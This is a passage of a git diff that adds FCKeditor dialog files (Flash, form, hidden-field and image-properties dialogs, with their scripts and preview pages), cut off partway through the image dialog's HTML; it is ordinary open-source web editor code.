+                                                       <option value="noborder" fckLang="DlgFlashScaleNoBorder">No Border</option>
+                                                       <option value="exactfit" fckLang="DlgFlashScaleFit">Exact Fit</option>
+                                               </select></TD>
+                                       <TD>&nbsp;&nbsp;&nbsp; &nbsp;
+                                       </TD>
+                                       <td valign="bottom">
+                                               <table>
+                                                       <tr>
+                                                               <td><input id="chkAutoPlay" type="checkbox" checked></td>
+                                                               <td><label for="chkAutoPlay" nowrap fckLang="DlgFlashChkPlay">Auto Play</label>&nbsp;&nbsp;</td>
+                                                               <td><input id="chkLoop" type="checkbox" checked></td>
+                                                               <td><label for="chkLoop" nowrap fckLang="DlgFlashChkLoop">Loop</label>&nbsp;&nbsp;</td>
+                                                               <td><input id="chkMenu" type="checkbox" checked></td>
+                                                               <td><label for="chkMenu" nowrap fckLang="DlgFlashChkMenu">Enable Flash Menu</label></td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </TR>
+                       </TABLE>
+                       <br>
+                       &nbsp;
+                       <table cellSpacing="0" cellPadding="0" width="100%" align="center" border="0">
+                               <tr>
+                                       <td vAlign="top" width="50%"><span fckLang="DlgGenId">Id</span><br>
+                                               <input id="txtAttId" style="WIDTH: 100%" type="text">
+                                       </td>
+                                       <td>&nbsp;&nbsp;</td>
+                                       <td vAlign="top" nowrap><span fckLang="DlgGenClass">Stylesheet Classes</span><br>
+                                               <input id="txtAttClasses" style="WIDTH: 100%" type="text">
+                                       </td>
+                                       <td>&nbsp;&nbsp;</td>
+                                       <td vAlign="top" nowrap width="50%">&nbsp;<span fckLang="DlgGenTitle">Advisory Title</span><br>
+                                               <input id="txtAttTitle" style="WIDTH: 100%" type="text">
+                                       </td>
+                               </tr>
+                       </table>
+                       <span fckLang="DlgGenStyle">Style</span><br>
+                       <input id="txtAttStyle" style="WIDTH: 100%" type="text">
+               </div>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_flash/fck_flash.js b/fckeditor/editor/dialog/fck_flash/fck_flash.js
new file mode 100755 (executable)
index 0000000..b9b0fd4
--- /dev/null
@@ -0,0 +1,292 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_flash.js
+ *     Scripts related to the Flash dialog window (see fck_flash.html).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', oEditor.FCKLang.DlgInfoTab ) ;
+
+if ( FCKConfig.FlashUpload )
+       window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ;
+
+if ( !FCKConfig.FlashDlgHideAdvanced )
+       window.parent.AddTab( 'Advanced', oEditor.FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divInfo'         , ( tabCode == 'Info' ) ) ;
+       ShowE('divUpload'       , ( tabCode == 'Upload' ) ) ;
+       ShowE('divAdvanced'     , ( tabCode == 'Advanced' ) ) ;
+}
+
+// Get the selected flash embed (if available).
+var oFakeImage = FCK.Selection.GetSelectedElement() ;
+var oEmbed ;
+
+if ( oFakeImage )
+{
+       if ( oFakeImage.tagName == 'IMG' && oFakeImage.getAttribute('_fckflash') )
+               oEmbed = FCK.GetRealElement( oFakeImage ) ;
+       else
+               oFakeImage = null ;
+}
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       // Load the selected element information (if any).
+       LoadSelection() ;
+
+       // Show/Hide the "Browse Server" button.
+       GetE('tdBrowse').style.display = FCKConfig.FlashBrowser ? '' : 'none' ;
+
+       // Set the actual uploader URL.
+       if ( FCKConfig.FlashUpload )
+               GetE('frmUpload').action = FCKConfig.FlashUploadURL ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+function LoadSelection()
+{
+       if ( ! oEmbed ) return ;
+
+       var sUrl = GetAttribute( oEmbed, 'src', '' ) ;
+
+       GetE('txtUrl').value    = GetAttribute( oEmbed, 'src', '' ) ;
+       GetE('txtWidth').value  = GetAttribute( oEmbed, 'width', '' ) ;
+       GetE('txtHeight').value = GetAttribute( oEmbed, 'height', '' ) ;
+
+       // Get Advances Attributes
+       GetE('txtAttId').value          = oEmbed.id ;
+       GetE('chkAutoPlay').checked     = GetAttribute( oEmbed, 'play', 'true' ) == 'true' ;
+       GetE('chkLoop').checked         = GetAttribute( oEmbed, 'loop', 'true' ) == 'true' ;
+       GetE('chkMenu').checked         = GetAttribute( oEmbed, 'menu', 'true' ) == 'true' ;
+       GetE('cmbScale').value          = GetAttribute( oEmbed, 'scale', '' ).toLowerCase() ;
+       
+       GetE('txtAttTitle').value               = oEmbed.title ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               GetE('txtAttClasses').value = oEmbed.getAttribute('className') || '' ;
+               GetE('txtAttStyle').value = oEmbed.style.cssText ;
+       }
+       else
+       {
+               GetE('txtAttClasses').value = oEmbed.getAttribute('class',2) || '' ;
+               GetE('txtAttStyle').value = oEmbed.getAttribute('style',2) ;
+       }
+
+       UpdatePreview() ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       if ( GetE('txtUrl').value.length == 0 )
+       {
+               window.parent.SetSelectedTab( 'Info' ) ;
+               GetE('txtUrl').focus() ;
+
+               alert( oEditor.FCKLang.DlgAlertUrl ) ;
+
+               return false ;
+       }
+
+       if ( !oEmbed )
+       {
+               oEmbed          = FCK.EditorDocument.createElement( 'EMBED' ) ;
+               oFakeImage  = null ;
+       }
+       UpdateEmbed( oEmbed ) ;
+       
+       if ( !oFakeImage )
+       {
+               oFakeImage      = oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Flash', oEmbed ) ;
+               oFakeImage.setAttribute( '_fckflash', 'true', 0 ) ;
+               oFakeImage      = FCK.InsertElementAndGetIt( oFakeImage ) ;
+       }
+       else
+               oEditor.FCKUndo.SaveUndoStep() ;
+       
+       oEditor.FCKFlashProcessor.RefreshView( oFakeImage, oEmbed ) ;
+
+       return true ;
+}
+
+function UpdateEmbed( e )
+{
+       SetAttribute( e, 'type'                 , 'application/x-shockwave-flash' ) ;
+       SetAttribute( e, 'pluginspage'  , 'http://www.macromedia.com/go/getflashplayer' ) ;
+
+       e.src = GetE('txtUrl').value ;
+       SetAttribute( e, "width" , GetE('txtWidth').value ) ;
+       SetAttribute( e, "height", GetE('txtHeight').value ) ;
+       
+       // Advances Attributes
+
+       SetAttribute( e, 'id'   , GetE('txtAttId').value ) ;
+       SetAttribute( e, 'scale', GetE('cmbScale').value ) ;
+       
+       SetAttribute( e, 'play', GetE('chkAutoPlay').checked ? 'true' : 'false' ) ;
+       SetAttribute( e, 'loop', GetE('chkLoop').checked ? 'true' : 'false' ) ;
+       SetAttribute( e, 'menu', GetE('chkMenu').checked ? 'true' : 'false' ) ;
+
+       SetAttribute( e, 'title'        , GetE('txtAttTitle').value ) ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               SetAttribute( e, 'className', GetE('txtAttClasses').value ) ;
+               e.style.cssText = GetE('txtAttStyle').value ;
+       }
+       else
+       {
+               SetAttribute( e, 'class', GetE('txtAttClasses').value ) ;
+               SetAttribute( e, 'style', GetE('txtAttStyle').value ) ;
+       }
+}
+
+var ePreview ;
+
+function SetPreviewElement( previewEl )
+{
+       ePreview = previewEl ;
+       
+       if ( GetE('txtUrl').value.length > 0 )
+               UpdatePreview() ;
+}
+
+function UpdatePreview()
+{
+       if ( !ePreview )
+               return ;
+               
+       while ( ePreview.firstChild )
+               ePreview.removeChild( ePreview.firstChild ) ;
+
+       if ( GetE('txtUrl').value.length == 0 )
+               ePreview.innerHTML = '&nbsp;' ;
+       else
+       {
+               var oDoc        = ePreview.ownerDocument || ePreview.document ;
+               var e           = oDoc.createElement( 'EMBED' ) ;
+               
+               e.src           = GetE('txtUrl').value ;
+               e.type          = 'application/x-shockwave-flash' ;
+               e.width         = '100%' ;
+               e.height        = '100%' ;
+               
+               ePreview.appendChild( e ) ;
+       }
+}
+
+// <embed id="ePreview" src="fck_flash/claims.swf" width="100%" height="100%" style="visibility:hidden" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">
+
+function BrowseServer()
+{
+       OpenFileBrowser( FCKConfig.FlashBrowserURL, FCKConfig.FlashBrowserWindowWidth, FCKConfig.FlashBrowserWindowHeight ) ;
+}
+
+function SetUrl( url, width, height )
+{
+       GetE('txtUrl').value = url ;
+       
+       if ( width )
+               GetE('txtWidth').value = width ;
+               
+       if ( height ) 
+               GetE('txtHeight').value = height ;
+
+       UpdatePreview() ;
+
+       window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       alert( 'Your file has been successfully uploaded' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       return ;
+               case 101 :      // Custom warning
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file type' ) ;
+                       return ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       return ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       return ;
+       }
+
+       SetUrl( fileUrl ) ;
+       GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex     = new RegExp( FCKConfig.FlashUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex      = new RegExp( FCKConfig.FlashUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+       var sFile = GetE('txtUploadFile').value ;
+       
+       if ( sFile.length == 0 )
+       {
+               alert( 'Please select a file to upload' ) ;
+               return false ;
+       }
+       
+       if ( ( FCKConfig.FlashUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+               ( FCKConfig.FlashUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+       {
+               OnUploadCompleted( 202 ) ;
+               return false ;
+       }
+       
+       return true ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_flash/fck_flash_preview.html b/fckeditor/editor/dialog/fck_flash/fck_flash_preview.html
new file mode 100755 (executable)
index 0000000..e9e23f8
--- /dev/null
@@ -0,0 +1,50 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_flash_preview.html
+ *     Preview page for the Flash dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title></title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta name="robots" content="noindex, nofollow">
+               <link href="../common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+               <script language="javascript">
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.parent.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+if ( window.parent.FCKConfig.BaseHref.length > 0 )
+       document.write( '<base href="' + window.parent.FCKConfig.BaseHref + '">' ) ;
+
+window.onload = function()
+{
+       window.parent.SetPreviewElement( document.body ) ;
+}
+
+               </script>
+       </head>
+       <body style="COLOR: #000000; BACKGROUND-COLOR: #ffffff"></body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_form.html b/fckeditor/editor/dialog/fck_form.html
new file mode 100755 (executable)
index 0000000..2984fd3
--- /dev/null
@@ -0,0 +1,109 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_form.html
+ *     Form dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( 'FORM' ) ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl ) 
+       {
+               GetE('txtName').value   = oActiveEl.name ;
+               GetE('txtAction').value = oActiveEl.getAttribute( 'action', 2 ) ;
+               GetE('txtMethod').value = oActiveEl.method ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'FORM' ) ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+               oActiveEl.innerHTML = '&nbsp;' ;
+       }
+       
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'action'       , GetE('txtAction').value ) ;
+       oActiveEl.method = GetE('txtMethod').value ;
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <table cellspacing="0" cellpadding="0" width="80%" border="0">
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgFormName">Name</span><br />
+                                                       <input style="width: 100%" type="text" id="txtName" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgFormAction">Action</span><br />
+                                                       <input style="width: 100%" type="text" id="txtAction" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgFormMethod">Method</span><br />
+                                                       <select id="txtMethod">
+                                                               <option value="get" selected="selected">GET</option>
+                                                               <option value="post">POST</option>
+                                                       </select>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_hiddenfield.html b/fckeditor/editor/dialog/fck_hiddenfield.html
new file mode 100755 (executable)
index 0000000..b4c22c1
--- /dev/null
@@ -0,0 +1,99 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_hiddenfield.html
+ *     Hidden Field dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Hidden Field Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'INPUT' && oActiveEl.type == 'hidden' ) 
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtValue').value          = oActiveEl.value ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}      
+
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = 'hidden' ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+       
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" class="inhoud" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgHiddenName">Name</span><br>
+                                                               <input type="text" size="20" id="txtName" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgHiddenValue">Value</span><br>
+                                                               <input type="text" size="30" id="txtValue" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_image.html b/fckeditor/editor/dialog/fck_image.html
new file mode 100755 (executable)
index 0000000..8aacfca
--- /dev/null
@@ -0,0 +1,262 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_image.html
+ *     Image Properties dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Image Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script src="fck_image/fck_image.js" type="text/javascript"></script>
+       <link href="common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+</head>
+<body scroll="no" style="overflow: hidden">
+       <div id="divInfo">
+               <table cellspacing="1" cellpadding="1" border="0" width="100%" height="100%">
+                       <tr>
+                               <td>
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td width="100%">
+                                                               <span fcklang="DlgImgURL">URL</span>
+                                                       </td>
+                                                       <td id="tdBrowse" style="display: none" nowrap="nowrap" rowspan="2">
+                                                               &nbsp;
+                                                               <input id="btnBrowse" onclick="BrowseServer();" type="button" value="Browse Server"
+                                                                       fcklang="DlgBtnBrowseServer" />
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td valign="top">
+                                                               <input id="txtUrl" style="width: 100%" type="text" onblur="UpdatePreview();" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td>
+                                       <span fcklang="DlgImgAlt">Short Description</span><br />
+                                       <input id="txtAlt" style="width: 100%" type="text" /><br />
+                               </td>
+                       </tr>
+                       <tr height="100%">
+                               <td valign="top">
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0" height="100%">
+                                               <tr>
+                                                       <td valign="top">
+                                                               <br />
+                                                               <table cellspacing="0" cellpadding="0" border="0">
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgWidth">Width</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="3" id="txtWidth" onkeyup="OnSizeChanged('Width',this.value);" /></td>
+                                                                               <td rowspan="2">
+                                                                                       <div id="btnLockSizes" class="BtnLocked" onmouseover="this.className = (bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ) + ' BtnOver';"
+                                                                                               onmouseout="this.className = (bLockRatio ? 'BtnLocked' : 'BtnUnlocked' );" title="Lock Sizes"
+                                                                                               onclick="SwitchLock(this);">
+                                                                                       </div>
+                                                                               </td>
+                                                                               <td rowspan="2">
+                                                                                       <div id="btnResetSize" class="BtnReset" onmouseover="this.className='BtnReset BtnOver';"
+                                                                                               onmouseout="this.className='BtnReset';" title="Reset Size" onclick="ResetSizes();">
+                                                                                       </div>
+                                                                               </td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgHeight">Height</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="3" id="txtHeight" onkeyup="OnSizeChanged('Height',this.value);" /></td>
+                                                                       </tr>
+                                                               </table>
+                                                               <br />
+                                                               <table cellspacing="0" cellpadding="0" border="0">
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgBorder">Border</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="2" value="" id="txtBorder" onkeyup="UpdatePreview();" /></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgHSpace">HSpace</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="2" id="txtHSpace" onkeyup="UpdatePreview();" /></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgVSpace">VSpace</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <input type="text" size="2" id="txtVSpace" onkeyup="UpdatePreview();" /></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td nowrap="nowrap">
+                                                                                       <span fcklang="DlgImgAlign">Align</span>&nbsp;</td>
+                                                                               <td>
+                                                                                       <select id="cmbAlign" onchange="UpdatePreview();">
+                                                                                               <option value="" selected="selected"></option>
+                                                                                               <option fcklang="DlgImgAlignLeft" value="left">Left</option>
+                                                                                               <!--
+                                                                                               <option fcklang="DlgImgAlignAbsBottom" value="absBottom">Abs Bottom</option>
+                                                                                               <option fcklang="DlgImgAlignAbsMiddle" value="absMiddle">Abs Middle</option>
+                                                                                               <option fcklang="DlgImgAlignBaseline" value="baseline">Baseline</option>
+                                                                                               <option fcklang="DlgImgAlignBottom" value="bottom">Bottom</option>
+                                                                                               <option fcklang="DlgImgAlignMiddle" value="middle">Middle</option>
+                                                                                               -->
+                                                                                               <option fcklang="DlgImgAlignRight" value="right">Right</option>
+                                                                                               <!--
+                                                                                               <option fcklang="DlgImgAlignTextTop" value="textTop">Text Top</option>
+                                                                                               <option fcklang="DlgImgAlignTop" value="top">Top</option>
+                                                                                               -->
+                                                                                       </select>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </td>
+                                                       <td>
+                                                               &nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="100%" valign="top">
+                                                               <table cellpadding="0" cellspacing="0" width="100%" style="table-layout: fixed">
+                                                                       <tr>
+                                                                               <td>
+                                                                                       <span fcklang="DlgImgPreview">Preview</span></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td valign="top">
+                                                                                       <iframe class="ImagePreviewArea" src="fck_image/fck_image_preview.html" frameborder="0"
+                                                                                               marginheight="0" marginwidth="0"></iframe>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </div>
+       <div id="divUpload" style="display: none">
+               <form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data"
+                       action="" onsubmit="return CheckUpload();">
+                       <span fcklang="DlgLnkUpload">Upload</span><br />
+                       <input id="txtUploadFile" style="width: 100%" type="file" size="40" name="NewFile" /><br />
+                       <br />
+                       <input id="btnUpload" type="submit" value="Send it to the Server" fcklang="DlgLnkBtnUpload" />
+                       <iframe name="UploadWindow" style="display: none" src="javascript:void(0)"></iframe>
+               </form>
+       </div>
+       <div id="divLink" style="display: none">
+               <table cellspacing="1" cellpadding="1" border="0" width="100%">
+                       <tr>
+                               <td>
+                                       <div>
+                                               <span fcklang="DlgLnkURL">URL</span><br />
+                                               <input id="txtLnkUrl" style="width: 100%" type="text" onblur="UpdatePreview();" />
+                                       </div>
+                                       <!--
+                                       <div id="divLnkBrowseServer" align="right">
+                                               <input type="button" value="Browse Server" fcklang="DlgBtnBrowseServer" onclick="LnkBrowseServer();" />
+                                       </div>
+                                       -->
+                                       <div>
+                                               <span fcklang="DlgLnkTarget">Target</span><br />
+                                               <select id="cmbLnkTarget">
+                                                       <option value="" fcklang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+                                                       <option value="_blank" fcklang="DlgLnkTargetBlank">New Window (_blank)</option>
+                                                       <option value="_top" fcklang="DlgLnkTargetTop">Topmost Window (_top)</option>
+                                                       <option value="_self" fcklang="DlgLnkTargetSelf">Same Window (_self)</option>
+                                                       <option value="_parent" fcklang="DlgLnkTargetParent">Parent Window (_parent)</option>
+                                               </select>
+                                       </div>
+                               </td>
+                       </tr>
+               </table>
+       </div>
+       <div id="divAdvanced" style="display: none">
+               <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                       <tr>
+                               <td valign="top" width="50%">
+                                       <span fcklang="DlgGenId">Id</span><br />
+                                       <input id="txtAttId" style="width: 100%" type="text" />
+                               </td>
+                               <td width="1">
+                                       &nbsp;&nbsp;</td>
+                               <td valign="top">
+                                       <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                                               <tr>
+                                                       <td width="60%">
+                                                               <span fcklang="DlgGenLangDir">Language Direction</span><br />
+                                                               <select id="cmbAttLangDir" style="width: 100%">
+                                                                       <option value="" fcklang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+                                                                       <option value="ltr" fcklang="DlgGenLangDirLtr">Left to Right (LTR)</option>
+                                                                       <option value="rtl" fcklang="DlgGenLangDirRtl">Right to Left (RTL)</option>
+                                                               </select>
+                                                       </td>
+                                                       <td width="1%">
+                                                               &nbsp;&nbsp;</td>
+                                                       <td nowrap="nowrap">
+                                                               <span fcklang="DlgGenLangCode">Language Code</span><br />
+                                                               <input id="txtAttLangCode" style="width: 100%" type="text" />&nbsp;
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td colspan="3">
+                                       &nbsp;</td>
+                       </tr>
+                       <tr>
+                               <td colspan="3">
+                                       <span fcklang="DlgGenLongDescr">Long Description URL</span><br />
+                                       <input id="txtLongDesc" style="width: 100%" type="text" />
+                               </td>
+                       </tr>
+                       <tr>
+                               <td colspan="3">
+                                       &nbsp;</td>
+                       </tr>
+                       <tr>
+                               <td valign="top">
+                                       <span fcklang="DlgGenClass">Stylesheet Classes</span><br />
+                                       <input id="txtAttClasses" style="width: 100%" type="text" />
+                               </td>
+                               <td>
+                               </td>
+                               <td valign="top">
+                                       &nbsp;<span fcklang="DlgGenTitle">Advisory Title</span><br />
